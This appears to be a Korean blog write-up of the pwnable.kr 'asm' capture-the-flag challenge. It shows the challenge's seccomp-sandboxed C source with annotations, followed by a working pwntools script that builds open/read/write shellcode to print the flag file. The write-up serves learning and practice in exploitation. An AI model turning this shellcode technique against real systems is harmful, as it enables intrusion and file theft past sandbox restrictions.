#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <sys/mman.h>
#include <seccomp.h>
#include <sys/prctl.h>
#include <fcntl.h>
#include <unistd.h>
#define LENGTH 128
void sandbox(){
scmp_filter_ctx ctx = seccomp_init(SCMP_ACT_KILL);
if (ctx == NULL) {
printf("seccomp error\n");
exit(0);
}
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(open), 0);
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(read), 0);
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(write), 0);
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit), 0);
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit_group), 0);
//seccomp : secure computing mode
//seccomp_rule_add : 새로운 필터 규칙을 추가함.
//SCMP_ACT_ALLOW : 필터 규칙에 맞으면 허락함.
//SCMP_SYS():괄호 안에 있는 시스템콜을 직접 호출한다.
if (seccomp_load(ctx) < 0){
seccomp_release(ctx);
printf("seccomp error\n");
exit(0);
}
seccomp_release(ctx);
}
char stub[] = "\x48\x31\xc0\x48\x31\xdb\x48\x31\xc9\x48
\x31\xd2\x48\x31\xf6\x48\x31\xff\x48\x31
\xed\x4d\x31\xc0\x4d\x31\xc9\x4d\x31\xd2
\x4d\x31\xdb\x4d\x31\xe4\x4d\x31\xed\x4d
\x31\xf6\x4d\x31\xff";
unsigned char filter[256];
int main(int argc, char* argv[]){
setvbuf(stdout, 0, _IONBF, 0);
setvbuf(stdin, 0, _IOLBF, 0);
printf("Welcome to shellcoding practice challenge.\n");
printf("In this challenge, you can run your x64 shellcode under SECCOMP sandbox.\n");
printf("Try to make shellcode that spits flag using open()/read()/write() systemcalls only.\n");
printf("If this does not challenge you. you should play 'asg' challenge :)\n");
char* sh = (char*)mmap(0x41414000, 0x1000, 7, MAP_ANONYMOUS | MAP_FIXED | MAP_PRIVATE, 0, 0);
// sh는 맵핑이 시작하는 실제 메모리 주소
// mmap - 0x41414000:맵핑 시작주소 0x1000: 메모리 영역의 길이
memset(sh, 0x90, 0x1000);
// 채울 메모리의 시작 주소:sh : 0x41414000
// 메모리에 채울 값:0x90
// 채울 바이트 수(크기): 0x1000
memcpy(sh, stub, strlen(stub));
//메모리 주소에서 원하는 크기만큼을 다른 곳으로 복사함
//복사되는 메모리의 첫번째 주소(to):sh
//복사할 메모리의 첫번재 주소(from):stub
//strlen : 복사할 크기
//=>셸코드를 sh로 복사함.
int offset = sizeof(stub);
printf("give me your x64 shellcode: ");
read(0, sh+offset, 1000);//0x47+0x41414000
//stub쉘코드가 복사된 곳 이후로 우리가 표준입력.
alarm(10);//10초 후 프로세스에 SIGALRM을 전달.
//SIGALRM은 프로세스 종료.
chroot("/home/asm_pwn"); // you are in chroot jail. so you can't use symlink in /tmp
sandbox();
((void (*)(void))sh)();
return 0;
}
-readme파일 읽음.
nc 0 9026으로 쉘코드 전송하는듯
x64쉘코드란다.
open,read,write,exit 시스템 콜만 사용 가능
-소스 오디팅
\x90으로 채워진 sh에 stub 쉘코드를 복붙해서 덮어씌움.
open,read,write,exit 시스템 콜만 사용 가능
#exploit pwnable.kr asm : ex.py
from pwn import *
context.arch = 'amd64'
context.os = 'linux'
context.log_level = 'debug'
r = remote('localhost',9026)
shellcode = ""
shellcode += shellcraft.pushstr('this_is_pwnable.kr_flag_file_please_read_this_file.sorry_the_file_name_is_very_loooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo0000000000000000000000000ooooooooooooooooooooooo000000000000o0o0o0o0o0o0ong')
#파일이름을 pushstr한다 -> rsp 맨위에 쌓는다.
shellcode += shellcraft.open('rsp',0,0)
#rsp맨위에 쌓인 파일이름을 인자로 open함수 호출
shellcode += shellcraft.read('rax','rsp',0x100)
#open함수의 리턴값이 rax에 저장되었으므로 rax에서 rsp로 0x100바이트만큼 읽는다. read함수로.
shellcode += shellcraft.write(1,'rsp',0x100)
#write함수의 fd는 1(표준출력), rsp에서 0x100바이트만큼 출력한다.
#print(asm(shellcode).encode('hex'))
payload = asm(shellcode)
r.recvuntil("give me your x64 shellcode: ")
r.send(payload)
a = r.recv(1024)
print(a)
r.interactive()
확인할사항:
1. open의 리턴 값은 1인가(open함수의 리턴값 확인)
2. stub은 왜있는거임
'System Hacking' 카테고리의 다른 글
[pwnable.kr] horcruxes (0) | 2020.01.09 |
---|---|
[pwnable.kr] blukat (0) | 2020.01.09 |
[pwnable.kr] memcpy (0) | 2020.01.09 |
[pwnable.kr] uaf (0) | 2020.01.09 |
[pwnable.kr] cmd2 (0) | 2020.01.09 |